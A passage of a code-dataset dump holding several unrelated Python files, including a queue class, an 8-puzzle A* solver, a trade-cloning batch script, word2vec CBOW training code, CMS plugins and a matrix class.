sort.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"390753775","text":"class Queue(object):\n\n class Node(object):\n 'A wrapper around a str with a recursive reference to another Node'\n def __init__(self, name, nxt = None):\n 'sets the two fields (str/Node)'\n self.title = name\n self.next = nxt # pointer to the next element\n def getName(self):\n 'returns title'\n return self.title\n def changeName(self, name):\n 'sets title to name'\n self.name = name\n\n def __init__(self, someList = []):\n '''initilizes a Queue of Nodes, one for each str elem\n The first element will be the first Node and the order of elems will be maintained'''\n# if any( type(element) != str for element in someList ):\n# raise('Non-String element found in list\\nExpected only string values')\n self.first = None # First or next element of the queue\n self.last = None # Last element in the queue\n self.length = len(someList)\n if someList:\n for j in range(len(someList)):\n i = len(someList) - (j + 1)\n if i == len(someList) - 1:\n self.last = self.Node(someList[i])\n self.first = self.last\n else:\n self.first = self.Node(someList[i], self.first)\n\n def next(self, someStr):\n 'This method is not a traditional functionality of a Queue but does exist in several instances including music queues of popular music streaming services'\n 'This allows you to add a Node not to the end but to the front where it will be next'\n self.length += 1\n if self.first == None:\n self.last = self.Node(someStr)\n self.first = self.last\n else:\n self.first = self.Node(someStr, self.first)\n\n def add(self, someStr):\n 'adds a Node to the Queue and assigns the val of someStr to its title field'\n self.length += 1\n if self.first == None:\n self.last = self.Node(someStr)\n self.first = self.last\n else:\n self.last.next = self.Node(someStr)\n self.last = self.last.next\n\n def seek(self):\n 'seek returns the title of the first/next Node in the Queue'\n if self.emptyMessage():\n return None\n return self.first.getName()\n\n def pop(self):\n 'both returns the title of and removes the first Node assigning its next to first'\n self.length -= 1\n if self.emptyMessage():\n return None\n retVal = self.seek()\n nxt = self.first.next\n del self.first\n self.first = nxt\n return retVal\n\n def queueToList(self):\n if self.emptyMessage():\n return []\n tmp = self.first\n retList = []\n while tmp != None:\n retList.append(tmp.getName())\n tmp = tmp.next\n return retList\n\n def emptyMessage(self):\n 'returns True if we have an empty queue and prints End of Queue otherwise returns False'\n if self.first == None:\n print('End of Queue')\n return True\n return False\n\ndef myNext(myQueue, inputList):\n if len(inputList) > 1:\n myQueue.next(' '.join(inputList[1:]))\ndef myAdd(myQueue, inputList):\n if len(inputList) > 1:\n myQueue.add(' '.join(inputList[1:]))\ndef mySeek(myQueue, inputList):\n if not myQueue.emptyMessage():\n print(myQueue.seek())\ndef myPop(myQueue, inputList):\n if not myQueue.emptyMessage():\n print(myQueue.pop())\ndef myList(myQueue, inputList):\n if not myQueue.emptyMessage():\n print('\\n'.join(myQueue.queueToList()))\n\ndef main(someList = []):\n 'A UI wrapper around the Queue class which mimics a command line allowing six distinct non-case sensitive commands, two of which are redundant (list & ls)'\n 'Unlike the Queue class I defined, the nodes in this Queue must be used to store strings'\n if any( type(element) != str for element in someList ):\n raise('Non-String element found in list\\nExpected only string values')\n myQueue = Queue(someList)\n switch = {'next' : myNext, 'add' : myAdd, 'seek' : mySeek, 'pop' : myPop, 'list' : myList, 'ls' : myList}\n print('\\nAvailable commands:\\nSeek, Pop, Add, Next, List, LS\\t(Not Case Sensitive)\\nAdd and Next take an argument\\t(ex: add Hello World)\\nExit to quit\\n\\n')\n UI = input('>>>\\t')\n while UI.lower() != 'exit':\n inputList = UI.split()\n if len(inputList) > 0:\n try:\n switch[inputList[0].lower()](myQueue, inputList)\n except:\n print('That command is not recognized')\n UI = input('>>>\\t')\n\n# These are sample ways of calling my main function. The first involves a situation where you'd like to initilize a non-empty Queue specifically for 11 songs.\nmain(['Song 1', 'Song 2', 'Song 3', 'Song 4', 'Song 5', 'Song 6', 'Song 7', 'Song 8', 'Song 9', 'Song 10', 'Song 11']) \n# main()\n","sub_path":"FancyQueue.py","file_name":"FancyQueue.py","file_ext":"py","file_size_in_byte":4979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"203533182","text":"import numpy as np\nfrom random import randrange\nimport heapq\nimport time\n\ngoalMatrix = np.reshape(np.array([1,2,3,4,5,6,7,8,0]), (3,3))\ngoalMatrixIndices = [[2,2], [0,0], [0,1], [0,2], [1,0], [1,1], [1,2], [2,0], [2,1]]\n\nunvisited = []\nvisited = []\nvisited_len = 0\n\neasy = np.reshape(np.array([4, 1, 3, 7, 2, 6, 0, 5, 8]), (3,3)) ##### easy with 6 moves\nmedium = np.reshape(np.array([7, 2, 4, 5, 0, 6, 8, 3, 1]), (3,3)) ##### medium 20 moves\nhard1 = np.reshape(np.array([6, 4, 7, 8, 5, 0, 3, 2, 1]), (3,3)) ##### difficult 31 moves\nhard2 = np.reshape(np.array([8, 6, 7, 2, 5, 4, 3, 0, 1]), (3,3)) ##### difficult 31 moves\n\nclass node:\n def __init__(self, mat, level):\n self.mat = mat\n self.hval = h1(self.mat)\n self.level = level\n self.fval = self.hval + self.level\n self.unique = self.mat[2][2] + self.mat[2][1]*10 + self.mat[2][0]*100 + self.mat[1][2]*1000 + self.mat[1][1]*10000 + self.mat[1][0]*100000 + self.mat[0][2]*1000000 + self.mat[0][1]*10000000 + self.mat[0][0]*100000000\n \n # Returns an array of coordinates of the movable squares\n def get_moves(self):\n \n # Get empty square coordinates\n blank_tile = np.argwhere(self.mat == 0)[0]\n \n # Generate tree of new boards from the possible moves\n moves = [blank_tile + [0, -1], blank_tile + [0, 1], blank_tile + [-1, 0], blank_tile + [1, 0]]\n children = []\n\n for move in moves:\n if(legal_move(move)):\n board = make_move(self.mat, move)\n child = node(board, self.level+1)\n if(never_visited(child)):\n children.append(child)\n\n return children\n \n def __lt__(self, other):\n return (self.fval < other.fval)\n\ndef legal_move(move):\n return (move[0] >= 0 and move[0] < 3 and move[1] >= 0 and move[1] < 3)\n\n# Traversing the list backwards is more efficient\ndef never_visited(node):\n i = visited_len - 1\n while i >= 0:\n if node.unique == visited[i].unique:\n return False\n i = i - 1\n return True\n\ndef make_move(mat,move):\n temp = mat.copy()\n blank_tile = np.argwhere(temp == 0)[0]\n temp[blank_tile[0]][blank_tile[1]] = temp[move[0]][move[1]]\n temp[move[0]][move[1]] = 0\n return temp\n\n# h1: Count number of misplaced tiles\ndef h1(curr_mat):\n distance = np.sum(curr_mat != goalMatrix)\n\n return distance\n\n# h2: Calculate manhattan distance to solution\ndef h2(curr_mat):\n \n distance = 0\n for row in range(3):\n for col in range(3):\n i = curr_mat[row][col]\n goalpos = goalMatrixIndices[i]\n distance += abs(row - goalpos[0]) + abs(col - goalpos[1])\n return distance\n\n# Main function\n# Prepare initial state\nstartMatrix = medium\ninitailBoard = node(startMatrix, 0)\nheapq.heappush(unvisited, initailBoard)\n\nprint(\"Start matrix: \")\nprint(startMatrix)\n\n\n#Loop\ntic = time.time()\nwhile(True):\n current = heapq.heappop(unvisited)\n\n # print(\"Distance to solution:\", current.hval)\n \n # Check if solution is found\n if(current.hval == 0):\n print(\"Solution found in\", current.level, \"moves and\", time.time() - tic, \"seconds.\")\n break\n \n # Generate new boards\n for newBoard in current.get_moves():\n heapq.heappush(unvisited, newBoard)\n\n #Move current node from unvisited to visited list\n visited.append(current)\n visited_len = visited_len + 1\n\n # print(current.unique)\n","sub_path":"Lab1/Lab1.py","file_name":"Lab1.py","file_ext":"py","file_size_in_byte":3474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"510520441","text":"\"\"\"\nProject: Prime Brokerage Africa (PBA)\nDepartment: Prime Services\nRequester: Francois Henrion\nDeveloper: Ondrej Bahounek, Lester Williams\nCR Number: 3506685 (Initial Deployment)\n\nDescription:\n This script duplicate trades in Prime Broking portfolio.\n Run as a batch.\n Books trades into fund's stock reporting portfolio.\n Sets original trade's text1 from \"PB_Agency_Uploaded\" to \"PB_Agency_Processed\"\n and contracts to a new trade.\n \nPrerequisites:\n Run csv uploader\n User must confirm Agency1 trade:\n - set status to FO Confirmed\n - move it to Agency2 portoflio\n - set Acquirer\n \nResult:\n New trade booked in fund's reporting portfolio with BO status.\n\nHistory:\nDate CR Number Who What\n\"\"\"\n\nimport acm\nimport ast\nimport at_addInfo\nfrom PBA_csv_uploader import COMMISSION_TEXT as COMMISSION_TEXT_OLD\n\nCOMMISSION_TEXT = \"Commission\"\n\n# Portfolio to select from\nFROM_AGENCY_PORTFOLIO_ID = \"PBA_CR_LIVE\"\nSTOCK_PORTF_TEMPLATE = \"PBA_CE_FF_%(alias)s_CR\"\n\n \ndef get_PBA_agency2_trades():\n \"\"\"Get all trades that need to be extracted.\n \n Trades for all PBA clients which:\n -- are in Agency2 portfolio\n -- have FO Confirmed status\n -- text1 indicatiting that trade was not processed by this script yet\n \"\"\"\n \n portfs = acm.FPhysicalPortfolio.Select('name like \"PBA_*_Agency2_CR\"')\n all_trades = []\n for p in portfs:\n trades = acm.FTrade.Select('status=\"FO Confirmed\" and portfolio=\"%s\" and text1=\"PBA_Agency_Uploaded\"' %p.Name())\n all_trades.extend(trades)\n return all_trades\n\ndef clone_PBA_trades():\n \"\"\"Book reporting trades.\n \n These will be clones of Agency trades.\n Same properties:\n time\n New properties:\n quantity, price\n Amended properties:\n portfolio, status\n \"\"\"\n \n pba_trades = get_PBA_agency2_trades()\n print(\"Extractor: Trades found: {0}\".format(len(pba_trades)))\n \n trade_oids = [trd.Oid() for trd in pba_trades]\n\n for trd in trade_oids:\n \n trade = acm.FTrade[trd]\n clone = trade.Clone()\n \n print(\"\")\n print(\"Extracting Agency trade:\", trade.Oid())\n \n dct = ast.literal_eval(trade.Text2())\n qty = float(dct.get('Qty')) if dct.get('Qty') else 0\n prc = float(dct.get('Prc')) if dct.get('Prc') else 0\n clone.Quantity(qty)\n clone.Price(prc)\n clone.Premium(qty * prc)\n if qty > 0:\n clone.Premium(-clone.Premium())\n \n alias = trade.Portfolio().AdditionalInfo().PS_ClientFundName() \n clone.Portfolio(acm.FPhysicalPortfolio[STOCK_PORTF_TEMPLATE % {'alias':alias}])\n clone.Status('BO Confirmed')\n clone.ContractTrdnbr(trade.Oid())\n clone.Text1('')\n clone.Text2('')\n clone.Commit()\n print(\"Reporting trade created: {0}\".format(clone.Oid()))\n \n add_payments(clone, trade)\n set_addinfo(clone, trade)\n\n # Change flag so the original trade is not processed again\n trade.Text1('PBA_Agency_Processed')\n trade.ContractTrdnbr(clone.Oid())\n trade.Commit()\n\ndef add_payments(clone, origtrade):\n \n payments = {}\n for payment in clone.Payments():\n payments[payment.Text()] = payment\n \n payment_commission = payments[COMMISSION_TEXT_OLD]\n commission = origtrade.AdditionalInfo().Broker_Commission()\n if not commission:\n commission = 0\n payment_commission.Amount(-float(commission))\n payment_commission.Text(COMMISSION_TEXT)\n \n fees = origtrade.AdditionalInfo().Fees()\n if not fees:\n fees = 0\n if not payments.has_key(\"Fees\"):\n payment_fee = acm.FPayment()\n else:\n payment_fee = payments[\"Fees\"]\n payment_fee.Amount(-float(fees))\n payment_fee.Text(\"Fees\")\n payment_fee.Currency(origtrade.Instrument().Currency())\n payment_fee.Type(\"Cash\")\n payment_fee.Party(payment_commission.Party())\n payment_fee.PayDay(origtrade.AcquireDay())\n payment_fee.ValidFrom(origtrade.TradeTime())\n clone.Payments().Add(payment_fee)\n clone.Commit()\n print(\"Trade {0}: Commission Payment added (value = {1})\".format(\n clone.Oid(), payment_commission.Amount()))\n print(\"Trade {0}: Fees Payment added (value = {1})\".format(\n clone.Oid(), payment_fee.Amount()))\n \ndef set_addinfo(clone, origtrade):\n\n at_addInfo.save(clone, \"Gross Price\", origtrade.AdditionalInfo().Gross_Price())\n at_addInfo.save(clone, \"Country\", origtrade.AdditionalInfo().Country())\n at_addInfo.save(clone, \"Gross Consideration\", origtrade.AdditionalInfo().Gross_Consideration())\n at_addInfo.save(clone, \"Broker Commission\", origtrade.AdditionalInfo().Broker_Commission())\n at_addInfo.save(clone, \"Fees\", origtrade.AdditionalInfo().Fees())\n at_addInfo.save(clone, \"PB_Fully_Funded\", origtrade.AdditionalInfo().PB_Fully_Funded())\n print(\"Trade {0}: Additional Info added\".format(clone.Oid()))\n\ndef main():\n print(\"\")\n print(\"Extractor: Started\")\n print(\"\")\n clone_PBA_trades()\n print(\"\")\n print(\"Extractor: Completed successfully\")\n \nmain()","sub_path":"Python modules/PBA_batch_extractor.py","file_name":"PBA_batch_extractor.py","file_ext":"py","file_size_in_byte":5192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"196081972","text":"import enum\n\nclass RaffleComponents(enum.Enum):\n \"\"\"All of the components which can be\n used in a raffle. This class is mainly\n used for the ``[p]raffle conditions`` command.\n \"\"\"\n\n name = (\n str, \n \"The name of the raffle. This is the only REQUIRED field.\"\n )\n\n description = (\n str, \n \"The description for the raffle. This information appears in the raffle info command.\"\n )\n\n end_message = (\n str,\n \"The message used to end the raffle. Defaults to \\\"Congratulations {winner.mention}, you have won the {raffle} raffle!\\\"\"\n )\n\n account_age = (\n int, \n \"The account age requirement for the user who joins the raffle. This must be specified in days.\"\n )\n\n join_age = (\n int, \n \"The number of days the user needs to be in the server for in order to join the raffle.\"\n )\n\n roles_needed_to_enter = (\n list, \n \"A list of discord roles which the user must have in order to join the raffle. These MUST be specified using IDs.\"\n )\n\n prevented_users = (\n list, \n \"A list of discord users who are not allowed to join the raffle. These MUST be specified using IDs.\"\n )\n\n allowed_users = (\n list,\n \"A list of discord users who are allowed to join the raffle. If this condition exists, no one will be able to join apart from those in the list.\"\n )\n\n maximum_entries = (\n int, \n \"The maximum number of entries allowed for a raffle.\"\n )\n\n on_end_action = (\n str,\n \"The action to perform when a user is drawn. Must be one of 'end', 'remove_winner', or 'keep_winner', defaults to 'keep_winner'.\"\n )\n","sub_path":"raffle/enums.py","file_name":"enums.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"217439009","text":"class Solution:\n def detectCycle(self, head: ListNode) -> ListNode:\n a = set() #思路是直接定义一个指针,如果有环则该指针第一个重复的点即为入环点\n l1 = head\n while l1:\n if l1 in a:\n return l1\n a.add(l1)\n l1 = l1.next\n return None","sub_path":"Week_01/detectCycle.py","file_name":"detectCycle.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"569379953","text":"#monkey no understand how pull request banana\n\n'''\nObjectives:\n1. Find winner in O(n) space and O(1) time\n2. Find player rank in O(nlogn) space\nNotes:\n1. if matrix[i][j]==1, then i has beaten j \nProblem Statement:\nhttps://stackoverflow.com/questions/31589642/winner-of-a-tournament-in-on-and-rank-of-the-players-in-onlogn?rq=1\nhttps://www.careercup.com/question?id=5102434353414144\nNotes:\n1. Topological Sort https://www.youtube.com/watch?v=Akt3glAwyfY [Course Schedule III]\n2. Heapq may be viable\n'''\nfrom graphlib import TopologicalSorter \n\nclass Solution():\n def tennis(self,matrix):\n\n # O(n2)\n def matrix_to_dict(matrix): \n players = len(matrix)\n keys = list(range(0,players))\n matrix_dict = {k: set() for k in keys}\n \n for i in range(0,len(matrix)):\n for j in range(0,len(matrix[0])):\n if i!=j and matrix[i][j]==1:\n #print(i,\"has beaten\", j)\n matrix_dict[i].add(j)\n return matrix_dict\n \n\n matrix_dict = matrix_to_dict(matrix)\n\n ts = TopologicalSorter(matrix_dict)\n res = list(ts.static_order())\n print(\"winner is:\",res[-1])\n print(\"ranks are (lowest to highest):\",res)\n \n \nif __name__ == \"__main__\":\n #inputs\n matrix = [\n [0, 0, 1, 1, 1, 0, 1],\n [1, 0, 1, 1, 1, 1, 1],\n [0, 0, 0, 1, 1, 0, 0],\n [0, 0, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 0, 0, 0],\n [1, 0, 1, 1, 1, 0, 1],\n [0, 0, 1, 1, 1, 0, 0]\n ]\n \n solution = Solution()\n solution.tennis(matrix)\n \n","sub_path":"monke.py","file_name":"monke.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"420335045","text":"#%% [markdown]\n#\b# Chapter 3 word2vec\n\n#%% \n'''\n1. \b推論ベースの手法とニューラルネットワーク\n1. シンプルなword2vec\n1. 学習データの準備\n1. \bCBOW\bモデルの実装\n\b1. word2vecに関する補足\n1. まとめ\n'''\n\n#%% [markdown]\n## CBOWモデルの推論処理\n\n#%%\nimport sys\nsys.path.append('..')\nimport numpy as np\nfrom common.layers import MatMul\n\n\n# サンプルのコンテキストデータ\nc0 = np.array([[1, 0, 0, 0, 0, 0, 0]])\nc1 = np.array([[0, 0, 1, 0, 0, 0, 0]])\n\n# 重みの初期化\nW_in = np.random.randn(7, 3)\nW_out = np.random.randn(3, 7)\n\n# レイヤの生成\nin_layer0 = MatMul(W_in)\nin_layer1 = MatMul(W_in)\nout_layer = MatMul(W_out)\n\n# 順伝搬\nh0 = in_layer0.forward(c0)\nh1 = in_layer1.forward(c1)\nh = 0.5 * (h0 + h1)\ns = out_layer.forward(h)\nprint(s)\n\n\n#%% [markdown]\n## 学習データの準備\n\n#%%\n\nimport sys\nsys.path.append('..')\nfrom common.util import preprocess\n\ntext = \"you say goodbye and i say hello.\"\ncorpus, word_to_id, id_to_word = preprocess(text)\nprint(corpus)\nprint(id_to_word)\n\n#%%\ndef create_contexts_target(corpus, window_size=1):\n '''one-hot表現への変換を行う\n\n :param words: 単語IDのNumPy配列\n :param vocab_size: 語彙数\n :return: one-hot表現に変換後のNumPy配列\n '''\n target = corpus[window_size:-window_size]\n contexts = []\n\n for idx in range(window_size, len(corpus)-window_size):\n cs = []\n for t in range(-window_size, window_size + 1):\n if t == 0:\n continue\n cs.append(corpus[idx + t])\n contexts.append(cs)\n\n return np.array(contexts), np.array(target)\n\n#%%\ncontexts, target = create_contexts_target(corpus, window_size=1)\n\n#%%\nprint(contexts)\n\n#%%\nprint(target)\n\n#%% [markdown]\n## One-hotへの変換\n\n#%%\ndef convert_one_hot(corpus, vocab_size):\n '''one-hot表現への変換\n\n :param corpus: 単語IDのリスト(1次元もしくは2次元のNumPy配列)\n :param vocab_size: 語彙数\n :return: one-hot表現(2次元もしくは3次元のNumPy配列)\n '''\n N = corpus.shape[0]\n\n if corpus.ndim == 1:\n one_hot = np.zeros((N, vocab_size), dtype=np.int32)\n for idx, word_id in enumerate(corpus):\n one_hot[idx, word_id] = 1\n\n elif corpus.ndim == 2:\n C = corpus.shape[1]\n one_hot = np.zeros((N, C, vocab_size), dtype=np.int32)\n for idx_0, word_ids in enumerate(corpus):\n for idx_1, word_id in enumerate(word_ids):\n one_hot[idx_0, idx_1, word_id] = 1\n\n return one_hot\n\n#%%\nvocab_size = len(word_to_id)\ntarget = convert_one_hot(target, vocab_size)\ncontexts = convert_one_hot(contexts, vocab_size)\n\n#%% [markdown]\n## CBOWモデルの実装\n\n#%%\nfrom common.layers import MatMul, SoftmaxWithLoss\n\n\nclass SimpleCBOW:\n def __init__(self, vocab_size, hidden_size):\n V, H = vocab_size, hidden_size\n\n # 重みの初期化\n W_in = 0.01 * np.random.randn(V, H).astype('f')\n W_out = 0.01 * np.random.randn(H, V).astype('f')\n\n # レイヤの生成\n self.in_layer0 = MatMul(W_in)\n self.in_layer1 = MatMul(W_in)\n self.out_layer = MatMul(W_out)\n self.loss_layer = SoftmaxWithLoss()\n\n # すべての重みと勾配をリストにまとめる\n layers = [self.in_layer0, self.in_layer1, self.out_layer]\n self.params, self.grads = [], []\n for layer in layers:\n self.params += layer.params\n self.grads += layer.grads\n\n # メンバ変数に単語の分散表現を設定\n self.word_vecs = W_in\n\n def forward(self, contexts, target):\n h0 = self.in_layer0.forward(contexts[:, 0])\n h1 = self.in_layer1.forward(contexts[:, 1])\n h = (h0 + h1) * 0.5\n score = self.out_layer.forward(h)\n loss = self.loss_layer.forward(score, target)\n return loss\n\n def backward(self, dout=1):\n ds = self.loss_layer.backward(dout)\n da = self.out_layer.backward(ds)\n da *= 0.5\n self.in_layer1.backward(da)\n self.in_layer0.backward(da)\n return None\n\n#%% [markdown]\n## 学習コードの実装\n#%%\nfrom common.trainer import Trainer\nfrom common.optimizer import Adam\nfrom common.util import preprocess, create_contexts_target, convert_one_hot\n\n\nwindow_size = 1\nhidden_size = 5\nbatch_size = 3\nmax_epoch = 1000\n\ntext = 'You say goodbye and I say hello.'\ncorpus, word_to_id, id_to_word = preprocess(text)\n\nvocab_size = len(word_to_id)\ncontexts, target = create_contexts_target(corpus, window_size)\ntarget = convert_one_hot(target, vocab_size)\ncontexts = convert_one_hot(contexts, vocab_size)\n\nmodel = SimpleCBOW(vocab_size, hidden_size)\noptimizer = Adam()\ntrainer = Trainer(model, optimizer)\n\ntrainer.fit(contexts, target, max_epoch, batch_size)\ntrainer.plot()\n\nword_vecs = model.word_vecs\nfor word_id, word in id_to_word.items():\n print(word, word_vecs[word_id])\n\n\n#%%\nword_vecs = model.word_vecs\n\n#%%\nfor word_id, word in id_to_word.items():\n print(word, word_vecs[word_id])\n\n#%% [markdown]\n## skip-gramの実装\n\n#%%\nfrom common.layers import MatMul, SoftmaxWithLoss\n\n\nclass SimpleSkipGram:\n def __init__(self, vocab_size, hidden_size):\n V, H = vocab_size, hidden_size\n\n # 重みの初期化\n W_in = 0.01 * np.random.randn(V, H).astype('f')\n W_out = 0.01 * np.random.randn(H, V).astype('f')\n\n # レイヤの生成\n self.in_layer = MatMul(W_in)\n self.out_layer = MatMul(W_out)\n self.loss_layer1 = SoftmaxWithLoss()\n self.loss_layer2 = SoftmaxWithLoss()\n\n # すべての重みと勾配をリストにまとめる\n layers = [self.in_layer, self.out_layer]\n self.params, self.grads = [], []\n for layer in layers:\n self.params += layer.params\n self.grads += layer.grads\n\n # メンバ変数に単語の分散表現を設定\n self.word_vecs = W_in\n\n def forward(self, contexts, target):\n h = self.in_layer.forward(target)\n s = self.out_layer.forward(h)\n l1 = self.loss_layer1.forward(s, contexts[:, 0])\n l2 = self.loss_layer2.forward(s, contexts[:, 1])\n loss = l1 + l2\n return loss\n\n def backward(self, dout=1):\n dl1 = self.loss_layer1.backward(dout)\n dl2 = self.loss_layer2.backward(dout)\n ds = dl1 + dl2\n dh = self.out_layer.backward(ds)\n self.in_layer.backward(dh)\n return None\n","sub_path":"work/ch03/ch03.py","file_name":"ch03.py","file_ext":"py","file_size_in_byte":6467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"617188969","text":"from cms.plugins.base import baseplugin\nfrom cms.plugins import touch, lna\nfrom .exceptions import *\nfrom .models import *\nfrom video_cms.models import *\nfrom cms.plugins.exceptions import *\nfrom cms.plugins.ls import ls\nfrom optparse import OptionParser\n\n\nclass av(baseplugin):\n\n '''\n av path video_file_id\n '''\n\n @staticmethod\n def process(environ, args):\n options, args = av.parser.parse_args(args)\n try:\n path = args[0]\n video_file = args[1]\n except Exception:\n raise MissArguments()\n video_file = File.objects.get(rec=video_file)\n attrib = VideoFileAttrib.objects.create(\n uploader=environ['user'],\n video_file=video_file\n )\n touch.touch.process(environ, [path])\n return lna.lna.process(\n environ,\n ['website.videofileattrib', str(attrib.id), path]\n )\n\n\nclass ils(baseplugin):\n\n parser = OptionParser()\n\n parser.add_option(\n \"--sort\", action=\"append\",\n dest=\"sort\")\n\n parser.add_option(\n \"-r\", dest=\"recursive\",\n action=\"store_true\",\n default=\"false\")\n\n parser.add_option(\n \"--op\", dest=\"op\",\n type=\"int\")\n\n parser.add_option(\n \"--ct\", dest=\"ct\",\n type=\"str\")\n\n @staticmethod\n def process(environ, args):\n options, args = ils.parser.parse_args(args)\n new_args = []\n new_args.append('/'.join(['/public'] + args))\n if options.sort is not None:\n for sort in options.sort:\n if sort == \"rec\":\n attrib = 'videofileattrib__video_file__rec'\n elif sort == \"time\":\n attrib = \"videofileattrib__video_file__created_at\"\n elif sort == \"cc\":\n attrib = \"videofileattrib__click_counts\"\n else:\n raise WrongOption(\"--sort=%s\" % (sort,))\n new_args.append('--sort=%s' % (attrib,))\n\n if options.op is None:\n options.op = 0\n new_args.append(\"--op=%d\" % (options.op,))\n\n if options.ct is None:\n options.ct = 10\n new_args.append(\"--ct=%d\" % (options.ct,))\n\n new_args.append(\"-l\")\n new_args.append(\"-R\")\n new_args.append(\"--ignore=folderattrib\")\n new_args.append(\"--display=videofileattrib__video_file__rec\")\n\n environ['user'].is_superuser = True\n res_list = ls.process(environ, new_args)\n environ['user'].is_superuser = False\n\n return res_list\n","sub_path":"src/website/cms_plugins.py","file_name":"cms_plugins.py","file_ext":"py","file_size_in_byte":2563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"328776224","text":"class Matrize2x2:\n\tdef __init__(self, a, b, c, d):\n\t\tself.a=a\n\t\tself.b=b\n\t\tself.c=c\n\t\tself.d=d\n\tdef Anzeigen(self):\n\t\tprint(\" (\",self.a,self.b,\")\")\n\t\tprint(\"M= ( )\")\n\t\tprint(\" (\",self.c,self.d,\")\")\n\tdef MultipliziereZahl(self, zahl):\n\t\tself.a*=zahl\n\t\tself.b*=zahl\n\t\tself.c*=zahl\n\t\tself.d*=zahl\n\tdef Addiere(self,matrize):\n\t\tself.a += matrize.a\n\t\tself.b += matrize.b\n\t\tself.c += matrize.c\n\t\tself.d += matrize.d\n\tdef MultipliziereMatrize(self,matrize):\n\t\ta = self.a * matrize.a + self.b * matrize.c\n\t\tb = self.a * matrize.b + self.b * matrize.d\n\t\tc = self.c * matrize.a + self.d * matrize.c\n\t\td = self.c * matrize.b + self.d * matrize.d\n\t\tself.a = a\n\t\tself.b = b\n\t\tself.c = c\n\t\tself.d = d\n\tdef Umkehren(self):\n\t\ta= self.d\n\t\tb= -self.b\n\t\tc= -self.c\n\t\td= self.a\n\t\tself.a=a\n\t\tself.b=b\n\t\tself.c=c\n\t\tself.d=d\n\t\tself.MultipliziereZahl(1/self.Determinante())\n\tdef Determinante(self):\n\t\tdet=self.a*self.d-self.c*self.b\n\t\treturn det\n\tdef UmkehrmatrizeExistiert(self):\n\t\tif matrize_objekt.Determinante==0:\n\t\t\treturn False\n\t\telse:\n\t\t\treturn True\n\t\nclass Matrize2x1:\n\tdef __init__(self, a, c):\n\t\tself.a=a\n\t\tself.c=c\n\tdef Anzeigen(self):\n\t\tprint(\" (\",self.a,\")\")\n\t\tprint(\"M= ( )\")\n\t\tprint(\" (\",self.c,\")\")\n\tdef MultipliziereZahl(self, zahl):\n\t\tself.a*=zahl\n\t\tself.c*=zahl\n\tdef Addiere(self,matrize):\n\t\tself.a += matrize.a\n\t\tself.c += matrize.c\n\tdef MultipliziereMatrize(self,matrize):\n\t\ta = matrize.a * self.a + matrize.b * self.c\n\t\tc = matrize.c * self.a + matrize.d * self.c\n\t\tself.a = a\n\t\tself.c = c\n\t\nclass Gleichungssystem:\n\tdef __init__(self, a, b):\n\t\tself.a = a\n\t\tself.b = b\n\tdef Loesung(self):\n\t\tself.a.Umkehren()\n\t\tself.b.MultipliziereMatrize(self.a)\n\t\treturn self.b\n\tdef Anzeigen(self):\n\t\tprint(\"Gleichungssystem:\")\n\t\tself.a.Anzeigen()\n\t\tself.b.Anzeigen()\n\t\tprint(\"Loesung:\")\n\t\tself.Loesung().Anzeigen()\n\tdef GibtEsEineLoesung(self):\n\t\tdet = self.a.Determinante()\n\t\tif det != 0:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\nmatrize_objekt = Matrize2x2(4,10,-2,7)\nprint(\"Matrize1:\")\nmatrize_objekt.Anzeigen()\n\nmatrize_objekt.MultipliziereZahl(2)\nprint(\"Matrize mit Zahl multipliziert:\")\nmatrize_objekt.Anzeigen()\n\nmatrize2_objekt = Matrize2x2(5,2,2,-7)\nprint(\"Matrize2:\")\nmatrize2_objekt.Anzeigen()\n\nmatrize_objekt.MultipliziereMatrize(matrize2_objekt)\nprint(\"Matrize1*Matrize2:\")\nmatrize_objekt.Anzeigen()\n\nmatrize2_objekt.Addiere(matrize_objekt)\nprint(\"Matrize1+Matrize2:\")\nmatrize2_objekt.Anzeigen()\n\n\nmatrize4_objekt = Matrize2x2(4,10,-2,7)\nmatrize5_objekt = Matrize2x2(4,10,-2,7)\nprint(\"Determinante=\",matrize4_objekt.Determinante())\nmatrize4_objekt.Umkehren()\nmatrize4_objekt.Anzeigen()\nmatrize5_objekt.MultipliziereMatrize(matrize4_objekt)\nmatrize5_objekt.Anzeigen()\nprint(\"Umkehrmatrize Überprüfung=\", matrize_objekt.UmkehrmatrizeExistiert())\n\nmatrize6_objekt = Matrize2x2(4,10,-2,7)\nMatrize2x1_objekt = Matrize2x1(4,10)\nprint(\"Matrize2x1:\")\nMatrize2x1_objekt.Anzeigen()\nprint(\"Matrize Multipliziert:\")\nMatrize2x1_objekt.MultipliziereMatrize(matrize6_objekt)\nMatrize2x1_objekt.Anzeigen()\n\nGleichungssystem1 = Gleichungssystem(matrize2_objekt, Matrize2x1_objekt)\nGleichungssystem1.Anzeigen()","sub_path":"2018/Gleichungssystem/Matrize.py","file_name":"Matrize.py","file_ext":"py","file_size_in_byte":3109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"527950257","text":"#!/usr/bin/python3\n# -*- coding:utf-8 -*-\nimport random\nimport os\nimport shutil\n\ndef random_copyfile(srcPath,trainPath,testPath,numfiles):\n name_list=list(os.path.join(srcPath,name) for name in os.listdir(srcPath))\n random_name_list=list(random.sample(name_list,numfiles))\n if not os.path.exists(trainPath):\n os.mkdir(trainPath)\n if not os.path.exists(testPath):\n os.mkdir(testPath)\n for oldname in random_name_list:\n shutil.copyfile(oldname,oldname.replace(srcPath, trainPath))\n 